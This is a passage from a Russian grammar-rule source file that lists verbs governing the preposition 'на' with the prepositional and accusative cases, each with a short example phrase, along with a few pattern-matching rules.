rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
rus_verbs:преуспеть{}, // преуспеть на ниве искусства
rus_verbs:заерзать{}, // заерзать на стуле
rus_verbs:разъяснить{}, // разъяснить на полях
rus_verbs:отчеканить{}, // отчеканить на медной пластине
rus_verbs:торговать{}, // торговать на рынке
rus_verbs:поколебаться{}, // поколебаться на пороге
rus_verbs:прикинуть{}, // прикинуть на бумажке
rus_verbs:рассечь{}, // рассечь на тупом конце
rus_verbs:посмеяться{}, // посмеяться на переменке
rus_verbs:остыть{}, // остыть на морозном воздухе
rus_verbs:запереться{}, // запереться на чердаке
rus_verbs:обогнать{}, // обогнать на повороте
rus_verbs:подтянуться{}, // подтянуться на турнике
rus_verbs:привозить{}, // привозить на машине
rus_verbs:подбирать{}, // подбирать на полу
rus_verbs:уничтожать{}, // уничтожать на подходе
rus_verbs:притаиться{}, // притаиться на вершине
rus_verbs:плясать{}, // плясать на костях
rus_verbs:поджидать{}, // поджидать на вокзале
rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!)
rus_verbs:смениться{}, // смениться на посту
rus_verbs:посчитать{}, // посчитать на пальцах
rus_verbs:прицелиться{}, // прицелиться на бегу
rus_verbs:нарисовать{}, // нарисовать на стене
rus_verbs:прыгать{}, // прыгать на сцене
rus_verbs:повертеть{}, // повертеть на пальце
rus_verbs:попрощаться{}, // попрощаться на панихиде
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване
rus_verbs:разобрать{}, // разобрать на столе
rus_verbs:помереть{}, // помереть на чужбине
rus_verbs:различить{}, // различить на нечеткой фотографии
rus_verbs:рисовать{}, // рисовать на доске
rus_verbs:проследить{}, // проследить на экране
rus_verbs:задремать{}, // задремать на диване
rus_verbs:ругаться{}, // ругаться на людях
rus_verbs:сгореть{}, // сгореть на работе
rus_verbs:зазвучать{}, // зазвучать на коротких волнах
rus_verbs:задохнуться{}, // задохнуться на вершине горы
rus_verbs:порождать{}, // порождать на поверхности небольшую рябь
rus_verbs:отдыхать{}, // отдыхать на курорте
rus_verbs:образовать{}, // образовать на дне толстый слой
rus_verbs:поправиться{}, // поправиться на дармовых харчах
rus_verbs:отмечать{}, // отмечать на календаре
rus_verbs:реять{}, // реять на флагштоке
rus_verbs:ползти{}, // ползти на коленях
rus_verbs:продавать{}, // продавать на аукционе
rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче
rus_verbs:рыскать{}, // мышки рыскали на кухне
rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы
rus_verbs:напасть{}, // напасть на территории другого государства
rus_verbs:издать{}, // издать на западе
rus_verbs:оставаться{}, // оставаться на страже порядка
rus_verbs:появиться{}, // наконец появиться на экране
rus_verbs:лежать{}, // лежать на столе
rus_verbs:ждать{}, // ждать на берегу
инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге
глагол:писать{aux stress="пис^ать"},
rus_verbs:оказываться{}, // оказываться на полу
rus_verbs:поставить{}, // поставить на столе
rus_verbs:держать{}, // держать на крючке
rus_verbs:выходить{}, // выходить на остановке
rus_verbs:заговорить{}, // заговорить на китайском языке
rus_verbs:ожидать{}, // ожидать на стоянке
rus_verbs:закричать{}, // закричал на минарете муэдзин
rus_verbs:простоять{}, // простоять на посту
rus_verbs:продолжить{}, // продолжить на первом этаже
rus_verbs:ощутить{}, // ощутить на себе влияние кризиса
rus_verbs:состоять{}, // состоять на учете
rus_verbs:готовиться{},
инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте
глагол:акклиматизироваться{вид:несоверш},
rus_verbs:арестовать{}, // грабители были арестованы на месте преступления
rus_verbs:схватить{}, // грабители были схвачены на месте преступления
инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{ вид:соверш },
прилагательное:атаковавший{ вид:соверш },
rus_verbs:базировать{}, // установка будет базирована на границе
rus_verbs:базироваться{}, // установка базируется на границе
rus_verbs:барахтаться{}, // дети барахтались на мелководье
rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке
rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке
rus_verbs:бренчать{}, // парень что-то бренчал на гитаре
rus_verbs:бренькать{}, // парень что-то бренькает на гитаре
rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории.
rus_verbs:буксовать{}, // Колеса буксуют на льду
rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле
rus_verbs:взвести{}, // Боец взвел на оружии предохранитель
rus_verbs:вилять{}, // Машина сильно виляла на дороге
rus_verbs:висеть{}, // Яблоко висит на ветке
rus_verbs:возлежать{}, // возлежать на лежанке
rus_verbs:подниматься{}, // Мы поднимаемся на лифте
rus_verbs:подняться{}, // Мы поднимемся на лифте
rus_verbs:восседать{}, // Коля восседает на лошади
rus_verbs:воссиять{}, // Луна воссияла на небе
rus_verbs:воцариться{}, // Мир воцарился на всей земле
rus_verbs:воцаряться{}, // Мир воцаряется на всей земле
rus_verbs:вращать{}, // вращать на поясе
rus_verbs:вращаться{}, // вращаться на поясе
rus_verbs:встретить{}, // встретить друга на улице
rus_verbs:встретиться{}, // встретиться на занятиях
rus_verbs:встречать{}, // встречать на занятиях
rus_verbs:въебывать{}, // въебывать на работе
rus_verbs:въезжать{}, // въезжать на автомобиле
rus_verbs:въехать{}, // въехать на автомобиле
rus_verbs:выгорать{}, // ткань выгорает на солнце
rus_verbs:выгореть{}, // ткань выгорела на солнце
rus_verbs:выгравировать{}, // выгравировать на табличке надпись
rus_verbs:выжить{}, // выжить на необитаемом острове
rus_verbs:вылежаться{}, // помидоры вылежались на солнце
rus_verbs:вылеживаться{}, // вылеживаться на солнце
rus_verbs:выместить{}, // выместить на ком-то злобу
rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение
rus_verbs:вымещаться{}, // вымещаться на ком-то
rus_verbs:выращивать{}, // выращивать на грядке помидоры
rus_verbs:выращиваться{}, // выращиваться на грядке
инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись
глагол:вырезать{вид:соверш},
инфинитив:вырезать{вид:несоверш},
глагол:вырезать{вид:несоверш},
rus_verbs:вырисоваться{}, // вырисоваться на графике
rus_verbs:вырисовываться{}, // вырисовываться на графике
rus_verbs:высаживать{}, // высаживать на необитаемом острове
rus_verbs:высаживаться{}, // высаживаться на острове
rus_verbs:высвечивать{}, // высвечивать на дисплее температуру
rus_verbs:высвечиваться{}, // высвечиваться на дисплее
rus_verbs:выстроить{}, // выстроить на фундаменте
rus_verbs:выстроиться{}, // выстроиться на плацу
rus_verbs:выстудить{}, // выстудить на морозе
rus_verbs:выстудиться{}, // выстудиться на морозе
rus_verbs:выстужать{}, // выстужать на морозе
rus_verbs:выстуживать{}, // выстуживать на морозе
rus_verbs:выстуживаться{}, // выстуживаться на морозе
rus_verbs:выстукать{}, // выстукать на клавиатуре
rus_verbs:выстукивать{}, // выстукивать на клавиатуре
rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре
rus_verbs:выступать{}, // выступать на сцене
rus_verbs:выступить{}, // выступить на сцене
rus_verbs:выстучать{}, // выстучать на клавиатуре
rus_verbs:выстывать{}, // выстывать на морозе
rus_verbs:выстыть{}, // выстыть на морозе
rus_verbs:вытатуировать{}, // вытатуировать на руке якорь
rus_verbs:говорить{}, // говорить на повышенных тонах
rus_verbs:заметить{}, // заметить на берегу
rus_verbs:стоять{}, // твёрдо стоять на ногах
rus_verbs:оказаться{}, // оказаться на передовой линии
rus_verbs:почувствовать{}, // почувствовать на своей шкуре
rus_verbs:остановиться{}, // остановиться на первом пункте
rus_verbs:показаться{}, // показаться на горизонте
rus_verbs:чувствовать{}, // чувствовать на своей шкуре
rus_verbs:искать{}, // искать на открытом пространстве
rus_verbs:иметься{}, // иметься на складе
rus_verbs:клясться{}, // клясться на Коране
rus_verbs:прервать{}, // прервать на полуслове
rus_verbs:играть{}, // играть на чувствах
rus_verbs:спуститься{}, // спуститься на парашюте
rus_verbs:понадобиться{}, // понадобиться на экзамене
rus_verbs:служить{}, // служить на флоте
rus_verbs:подобрать{}, // подобрать на улице
rus_verbs:появляться{}, // появляться на сцене
rus_verbs:селить{}, // селить на чердаке
rus_verbs:поймать{}, // поймать на границе
rus_verbs:увидать{}, // увидать на опушке
rus_verbs:подождать{}, // подождать на перроне
rus_verbs:прочесть{}, // прочесть на полях
rus_verbs:тонуть{}, // тонуть на мелководье
rus_verbs:ощущать{}, // ощущать на коже
rus_verbs:отметить{}, // отметить на полях
rus_verbs:показывать{}, // показывать на графике
rus_verbs:разговаривать{}, // разговаривать на иностранном языке
rus_verbs:прочитать{}, // прочитать на сайте
rus_verbs:попробовать{}, // попробовать на практике
rus_verbs:замечать{}, // замечать на коже грязь
rus_verbs:нести{}, // нести на плечах
rus_verbs:носить{}, // носить на голове
rus_verbs:гореть{}, // гореть на работе
rus_verbs:застыть{}, // застыть на пороге
инфинитив:жениться{ вид:соверш }, // жениться на королеве
глагол:жениться{ вид:соверш },
прилагательное:женатый{},
прилагательное:женившийся{},
rus_verbs:спрятать{}, // спрятать на чердаке
rus_verbs:развернуться{}, // развернуться на плацу
rus_verbs:строить{}, // строить на песке
rus_verbs:устроить{}, // устроить на даче тестральный вечер
rus_verbs:настаивать{}, // настаивать на выполнении приказа
rus_verbs:находить{}, // находить на берегу
rus_verbs:мелькнуть{}, // мелькнуть на экране
rus_verbs:очутиться{}, // очутиться на опушке леса
инфинитив:использовать{вид:соверш}, // использовать на работе
глагол:использовать{вид:соверш},
инфинитив:использовать{вид:несоверш},
глагол:использовать{вид:несоверш},
прилагательное:использованный{},
прилагательное:использующий{},
прилагательное:использовавший{},
rus_verbs:лететь{}, // лететь на воздушном шаре
rus_verbs:смеяться{}, // смеяться на сцене
rus_verbs:ездить{}, // ездить на мопеде
rus_verbs:заснуть{}, // заснуть на диване
rus_verbs:застать{}, // застать на рабочем месте
rus_verbs:очнуться{}, // очнуться на больничной койке
rus_verbs:разглядеть{}, // разглядеть на фотографии
rus_verbs:обойти{}, // обойти на вираже
rus_verbs:удержаться{}, // удержаться на троне
rus_verbs:побывать{}, // побывать на другой планете
rus_verbs:заняться{}, // заняться на выходных делом
rus_verbs:вянуть{}, // вянуть на солнце
rus_verbs:постоять{}, // постоять на голове
rus_verbs:приобрести{}, // приобрести на распродаже
rus_verbs:попасться{}, // попасться на краже
rus_verbs:продолжаться{}, // продолжаться на земле
rus_verbs:открывать{}, // открывать на арене
rus_verbs:создавать{}, // создавать на сцене
rus_verbs:обсуждать{}, // обсуждать на кухне
rus_verbs:отыскать{}, // отыскать на полу
rus_verbs:уснуть{}, // уснуть на диване
rus_verbs:задержаться{}, // задержаться на работе
rus_verbs:курить{}, // курить на свежем воздухе
rus_verbs:приподняться{}, // приподняться на локтях
rus_verbs:установить{}, // установить на вершине
rus_verbs:запереть{}, // запереть на балконе
rus_verbs:синеть{}, // синеть на воздухе
rus_verbs:убивать{}, // убивать на нейтральной территории
rus_verbs:скрываться{}, // скрываться на даче
rus_verbs:родить{}, // родить на полу
rus_verbs:описать{}, // описать на страницах книги
rus_verbs:перехватить{}, // перехватить на подлете
rus_verbs:скрывать{}, // скрывать на даче
rus_verbs:сменить{}, // сменить на посту
rus_verbs:мелькать{}, // мелькать на экране
rus_verbs:присутствовать{}, // присутствовать на мероприятии
rus_verbs:украсть{}, // украсть на рынке
rus_verbs:победить{}, // победить на ринге
rus_verbs:упомянуть{}, // упомянуть на страницах романа
rus_verbs:плыть{}, // плыть на старой лодке
rus_verbs:повиснуть{}, // повиснуть на перекладине
rus_verbs:нащупать{}, // нащупать на дне
rus_verbs:затихнуть{}, // затихнуть на дне
rus_verbs:построить{}, // построить на участке
rus_verbs:поддерживать{}, // поддерживать на поверхности
rus_verbs:заработать{}, // заработать на бирже
rus_verbs:провалиться{}, // провалиться на экзамене
rus_verbs:сохранить{}, // сохранить на диске
rus_verbs:располагаться{}, // располагаться на софе
rus_verbs:поклясться{}, // поклясться на библии
rus_verbs:сражаться{}, // сражаться на арене
rus_verbs:спускаться{}, // спускаться на дельтаплане
rus_verbs:уничтожить{}, // уничтожить на подступах
rus_verbs:изучить{}, // изучить на практике
rus_verbs:рождаться{}, // рождаться на праздниках
rus_verbs:прилететь{}, // прилететь на самолете
rus_verbs:догнать{}, // догнать на перекрестке
rus_verbs:изобразить{}, // изобразить на бумаге
rus_verbs:проехать{}, // проехать на тракторе
rus_verbs:приготовить{}, // приготовить на масле
rus_verbs:споткнуться{}, // споткнуться на полу
rus_verbs:собирать{}, // собирать на берегу
rus_verbs:отсутствовать{}, // отсутствовать на тусовке
rus_verbs:приземлиться{}, // приземлиться на военном аэродроме
rus_verbs:сыграть{}, // сыграть на трубе
rus_verbs:прятаться{}, // прятаться на даче
rus_verbs:спрятаться{}, // спрятаться на чердаке
rus_verbs:провозгласить{}, // провозгласить на митинге
rus_verbs:изложить{}, // изложить на бумаге
rus_verbs:использоваться{}, // использоваться на практике
rus_verbs:замяться{}, // замяться на входе
rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота
rus_verbs:сверкнуть{}, // сверкнуть на солнце
rus_verbs:сверкать{}, // сверкать на свету
rus_verbs:задержать{}, // задержать на митинге
rus_verbs:осечься{}, // осечься на первом слове
rus_verbs:хранить{}, // хранить на банковском счету
rus_verbs:шутить{}, // шутить на уроке
rus_verbs:кружиться{}, // кружиться на балу
rus_verbs:чертить{}, // чертить на доске
rus_verbs:отразиться{}, // отразиться на оценках
rus_verbs:греть{}, // греть на солнце
rus_verbs:рассуждать{}, // рассуждать на страницах своей книги
rus_verbs:окружать{}, // окружать на острове
rus_verbs:сопровождать{}, // сопровождать на охоте
rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте
rus_verbs:содержаться{}, // содержаться на приусадебном участке
rus_verbs:поселиться{}, // поселиться на даче
rus_verbs:запеть{}, // запеть на сцене
инфинитив:провозить{ вид:несоверш }, // провозить на теле
глагол:провозить{ вид:несоверш },
прилагательное:провезенный{},
прилагательное:провозивший{вид:несоверш},
прилагательное:провозящий{вид:несоверш},
деепричастие:провозя{},
rus_verbs:мочить{}, // мочить на месте
rus_verbs:преследовать{}, // преследовать на территории другого штата
rus_verbs:пролететь{}, // пролетел на параплане
rus_verbs:драться{}, // драться на рапирах
rus_verbs:просидеть{}, // просидеть на занятиях
rus_verbs:убираться{}, // убираться на балконе
rus_verbs:таять{}, // таять на солнце
rus_verbs:проверять{}, // проверять на полиграфе
rus_verbs:убеждать{}, // убеждать на примере
rus_verbs:скользить{}, // скользить на льду
rus_verbs:приобретать{}, // приобретать на распродаже
rus_verbs:летать{}, // летать на метле
rus_verbs:толпиться{}, // толпиться на перроне
rus_verbs:плавать{}, // плавать на надувном матрасе
rus_verbs:описывать{}, // описывать на страницах повести
rus_verbs:пробыть{}, // пробыть на солнце слишком долго
rus_verbs:застрять{}, // застрять на верхнем этаже
rus_verbs:метаться{}, // метаться на полу
rus_verbs:сжечь{}, // сжечь на костре
rus_verbs:расслабиться{}, // расслабиться на кушетке
rus_verbs:услыхать{}, // услыхать на рынке
rus_verbs:удержать{}, // удержать на прежнем уровне
rus_verbs:образоваться{}, // образоваться на дне
rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа
rus_verbs:уезжать{}, // уезжать на попутке
rus_verbs:похоронить{}, // похоронить на закрытом кладбище
rus_verbs:настоять{}, // настоять на пересмотре оценок
rus_verbs:растянуться{}, // растянуться на горячем песке
rus_verbs:покрутить{}, // покрутить на шесте
rus_verbs:обнаружиться{}, // обнаружиться на болоте
rus_verbs:гулять{}, // гулять на свадьбе
rus_verbs:утонуть{}, // утонуть на курорте
rus_verbs:храниться{}, // храниться на депозите
rus_verbs:танцевать{}, // танцевать на свадьбе
rus_verbs:трудиться{}, // трудиться на заводе
инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати
глагол:засыпать{переходность:непереходный вид:несоверш},
деепричастие:засыпая{переходность:непереходный вид:несоверш},
прилагательное:засыпавший{переходность:непереходный вид:несоверш},
прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках
rus_verbs:сушить{}, // сушить на открытом воздухе
rus_verbs:зашевелиться{}, // зашевелиться на чердаке
rus_verbs:обдумывать{}, // обдумывать на досуге
rus_verbs:докладывать{}, // докладывать на научной конференции
rus_verbs:промелькнуть{}, // промелькнуть на экране
// прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории
прилагательное:написанный{}, // слово, написанное на заборе
rus_verbs:умещаться{}, // компьютер, умещающийся на ладони
rus_verbs:открыть{}, // книга, открытая на последней странице
rus_verbs:спать{}, // йог, спящий на гвоздях
rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте
rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте
rus_verbs:отобразиться{}, // удивление, отобразившееся на лице
rus_verbs:увидеть{}, // на полу я увидел чьи-то следы
rus_verbs:видеть{}, // на полу я вижу чьи-то следы
rus_verbs:оставить{}, // Мел оставил на доске белый след.
rus_verbs:оставлять{}, // Мел оставляет на доске белый след.
rus_verbs:встречаться{}, // встречаться на лекциях
rus_verbs:познакомиться{}, // познакомиться на занятиях
rus_verbs:устроиться{}, // она устроилась на кровати
rus_verbs:ложиться{}, // ложись на полу
rus_verbs:останавливаться{}, // останавливаться на достигнутом
rus_verbs:спотыкаться{}, // спотыкаться на ровном месте
rus_verbs:распечатать{}, // распечатать на бумаге
rus_verbs:распечатывать{}, // распечатывать на бумаге
rus_verbs:просмотреть{}, // просмотреть на бумаге
rus_verbs:закрепляться{}, // закрепляться на плацдарме
rus_verbs:погреться{}, // погреться на солнышке
rus_verbs:мешать{}, // Он мешал краски на палитре.
rus_verbs:занять{}, // Он занял первое место на соревнованиях.
rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках.
деепричастие:женившись{ вид:соверш },
rus_verbs:везти{}, // Он везёт песок на тачке.
прилагательное:казненный{}, // Он был казнён на электрическом стуле.
rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче.
rus_verbs:принести{}, // Официантка принесла нам обед на подносе.
rus_verbs:переписать{}, // Перепишите эту рукопись на машинке.
rus_verbs:идти{}, // Поезд идёт на малой скорости.
rus_verbs:петь{}, // птички поют на рассвете
rus_verbs:смотреть{}, // Смотри на обороте.
rus_verbs:прибрать{}, // прибрать на столе
rus_verbs:прибраться{}, // прибраться на столе
rus_verbs:растить{}, // растить капусту на огороде
rus_verbs:тащить{}, // тащить ребенка на руках
rus_verbs:убирать{}, // убирать на столе
rus_verbs:простыть{}, // Я простыл на морозе.
rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе.
rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде
rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках.
rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге.
rus_verbs:вскочить{}, // У него вскочил прыщ на носу.
rus_verbs:свить{}, // У нас на балконе воробей свил гнездо.
rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица.
rus_verbs:восходить{}, // Солнце восходит на востоке.
rus_verbs:блестеть{}, // Снег блестит на солнце.
rus_verbs:побить{}, // Рысак побил всех лошадей на скачках.
rus_verbs:литься{}, // Реки крови льются на войне.
rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах.
rus_verbs:клубиться{}, // Пыль клубится на дороге.
инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке
глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке.
// глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути
// инфинитив:находиться{вид:несоверш},
rus_verbs:жить{}, // Было интересно жить на курорте.
rus_verbs:повидать{}, // Он много повидал на своём веку.
rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду.
rus_verbs:расположиться{}, // Оба села расположились на берегу реки.
rus_verbs:объясняться{}, // Они объясняются на иностранном языке.
rus_verbs:прощаться{}, // Они долго прощались на вокзале.
rus_verbs:работать{}, // Она работает на ткацкой фабрике.
rus_verbs:купить{}, // Она купила молоко на рынке.
rus_verbs:поместиться{}, // Все книги поместились на полке.
глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике.
rus_verbs:пожить{}, // Недолго она пожила на свете.
rus_verbs:краснеть{}, // Небо краснеет на закате.
rus_verbs:бывать{}, // На Волге бывает сильное волнение.
rus_verbs:ехать{}, // Мы туда ехали на автобусе.
rus_verbs:провести{}, // Мы провели месяц на даче.
rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице.
rus_verbs:расти{}, // Арбузы растут теперь не только на юге.
ГЛ_ИНФ(сидеть), // три больших пса сидят на траве
ГЛ_ИНФ(сесть), // три больших пса сели на траву
ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль
ГЛ_ИНФ(повезти), // я повезу тебя на машине
ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси
ГЛ_ИНФ(пить), // пить на кухне чай
ГЛ_ИНФ(найти), // найти на острове
ГЛ_ИНФ(быть), // на этих костях есть следы зубов
ГЛ_ИНФ(высадиться), // помощники высадились на острове
ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове
ГЛ_ИНФ(случиться), // это случилось на опушке леса
ГЛ_ИНФ(продать),
ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: смотреть на youtube
fact гл_предл
{
if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} }
then return true
}
// локатив
fact гл_предл
{
if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} }
then return true
}
#endregion ПРЕДЛОЖНЫЙ
#region ВИНИТЕЛЬНЫЙ
// НА+винительный падеж:
// ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ
#region VerbList
wordentry_set Гл_НА_Вин=
{
rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили.
rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку.
rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай.
rus_verbs:умножить{}, // Умножьте это количество примерно на 10.
//rus_verbs:умножать{},
rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу.
rus_verbs:откатывать{},
rus_verbs:доносить{}, // Вот и побежали на вас доносить.
rus_verbs:донести{},
rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали.
